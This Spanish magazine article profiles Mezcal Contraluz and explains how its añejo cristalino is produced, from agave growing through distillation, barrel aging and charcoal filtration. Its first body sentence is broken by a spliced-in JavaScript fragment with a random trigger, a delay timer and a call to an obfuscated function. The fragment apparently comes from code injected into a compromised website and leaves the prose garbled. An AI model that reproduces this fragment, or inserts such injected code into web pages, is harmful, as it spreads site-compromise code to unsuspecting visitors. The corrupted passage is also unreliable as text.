Este es el único mezcal añejo cristalino

    Este es el único mezcal añejo cristalino

    Mezcal Contraluz es la primera marca en la categoría en aventurarse a crear un añejo cristalino, pero ¿realmente sabes qué significa esto?

    Autor: Redacción Maxim 1 febrero, 2018


     

    Empecemos hablandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando de la producción del mezcal.

     

    La producción de un mezcal inicia en la siembra, dependiendo el tipo de agave es el tiempo de madurez que necesita la planta. En el caso del Mezcal Contraluz, al ser un Agave Espadín, requiere un tiempo de maduración de 9 años aproximadamente.

     

    El siguiente paso es la cocción, para poder llamarlo mezcal, la cocción debe hacerse en hornos de piedra volcánica bajo tierra. Los agaves son cocidos con leña por un periodo de 72 hrs, etapa donde adquiere el sabor ahumado característico del mezcal.

     

    Después seguiría la molienda que se hace en tahona, es la forma artesanal de extracción de los jugos extraídos y después se lleva a cabo una doble destilación.

     

    En el caso de Mezcal Contraluz, después de la doble destilación se añeja en barricas de Roble Americano por 12 meses convirtiéndolo en un Mezcal Añejo.

     

    Lo Añejo Cristalino se consigue en el últmio paso, donde el líquido se filtra en carbón activado y se eliminan las partículas de color, dejándolo así en tonos cristalinos. Este proceso es efectivo porque respeta los sabores y olores de la barrica que enriquecen la experiencia del consumidor.

     

     

     

     

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